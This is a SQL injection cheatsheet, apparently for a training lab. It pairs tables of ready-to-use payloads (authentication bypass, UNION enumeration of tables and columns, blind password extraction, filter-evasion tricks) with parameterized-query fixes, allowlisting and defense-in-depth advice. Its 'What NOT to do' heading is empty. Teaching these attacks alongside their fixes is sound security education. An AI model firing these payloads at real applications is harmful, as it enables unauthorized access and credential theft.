Reference · Cheatsheet

Payloads, tricks, defenses

A practical reference for SQL injection — common payloads, bypass techniques for naive filters, DB-specific syntax, and the actual fixes.

Quick payload reference

GoalPayload
Test if injectable' or " or ; or \
Bypass auth (most common)' OR 1=1 --
Bypass auth (balanced quotes)' OR '1'='1
Comment rest of query-- (SQLite/PG/MySQL), # (MySQL), /* */
Login as specific useradmin' --
Confirm column count' UNION SELECT NULL,NULL,NULL -- (try 1, then 2, then 3...)
Find string-compatible columns' UNION SELECT 'a',NULL,NULL --
List tables (SQLite)' UNION SELECT name,sql,type FROM sqlite_master --
List tables (MySQL)' UNION SELECT table_name,NULL,NULL FROM information_schema.tables --
List tables (PostgreSQL)' UNION SELECT tablename,NULL,NULL FROM pg_tables --
List columns (MySQL)' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
DB version (SQLite)SELECT sqlite_version()
DB version (MySQL)SELECT version() or @@version
DB version (PostgreSQL)SELECT version()
Boolean blind extraction' AND substr((SELECT password FROM users LIMIT 1),1,1)='a' --
Time-based blind (MySQL)' OR IF(1=1, SLEEP(5), 0) --
Time-based blind (PostgreSQL)'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

Bypass tricks for naive filters

FilterBypass
Strips quotesHex/char encoding: CHAR(97,100,109,105,110) = "admin" (MySQL), or 0x61646d696e
Strips spacesUse comments as separators: '/**/OR/**/1=1-- or tabs/newlines
Strips OR / ANDUse || and && (MySQL), or case variations oR, aNd
Strips UNION SELECTUNION ALL SELECT, UNION/**/SELECT, or nested: UNUNIONION SELSELECTECT (one strip → valid)
Strips keywords onceNest them: SESELECTLECT → after one strip becomes SELECT
Blocks specific functionsUse synonyms: SUBSTR/SUBSTRING/MID, SLEEP/BENCHMARK
Quote escaping (e.g., \')Backslash poisoning: \ escapes the escape, breaking the string. Or use no quotes at all with CHAR().

Defense — the real fixes

None of the bypasses above matter if you use parameterized queries. That's the whole point. All of these are language-specific examples of doing it right:

# Python sqlite3 / psycopg2 / mysql-connector
cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (u, p))

# SQLAlchemy
session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})

# Node.js with mysql2
conn.execute("SELECT * FROM users WHERE id = ?", [user_id])

# PHP PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_id]);

# Java with PreparedStatement
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);

# C# / .NET
using (var cmd = new SqlCommand("SELECT * FROM users WHERE id = @id", conn)) {
    cmd.Parameters.AddWithValue("@id", userId);
}

Where you can't parameterize — column names, table names, and ORDER BY directions can't bind through most drivers. For these, use a strict allowlist:

ALLOWED_SORT = {"created_at", "name", "price"}
sort_col = request.args.get("sort", "created_at")
if sort_col not in ALLOWED_SORT:
    sort_col = "created_at"
query = f"SELECT * FROM products ORDER BY {sort_col}"  # safe — sort_col is from a fixed set

Defense in depth

LayerWhy
Parameterized queriesThe actual fix. Everything else assumes this fails. Don't skip.
Least-privilege DB userWeb app's DB user shouldn't have DROP, shouldn't read tables it doesn't need. Limits blast radius.
Hash passwords (argon2id/bcrypt)If injection still happens, attackers get hashes, not plaintext.
Generic error pages in productionNever leak exception traces. Log server-side, return "Something went wrong" to client.
Input validation by typeIf a field is supposed to be an integer, parse it as one early. Reject non-conforming input before it reaches the DB layer.
WAF + monitoringLast line, not first. Detects anomalous query patterns. Useful for catching attempts in logs even when defenses hold.
Stored procedures (carefully)Procs that internally use dynamic SQL with concatenation are just as vulnerable. Procs alone are not a defense.

What NOT to do

Tools worth knowing

ToolWhat it does
sqlmapAutomates everything in this lab and a thousand more techniques. The standard.
Burp SuiteIntercepting proxy. Repeater + Intruder are the standard manual testing workflow. Community edition is free.
OWASP ZAPFree Burp alternative. Good active scanner.
PayloadsAllTheThings (GitHub)Massive payload reference for SQLi and every other web vuln class.
PortSwigger Web Security AcademyFree, structured, excellent. Best place to practice legally after this lab.
HackTheBox / TryHackMePractice CTF environments with progressively harder challenges.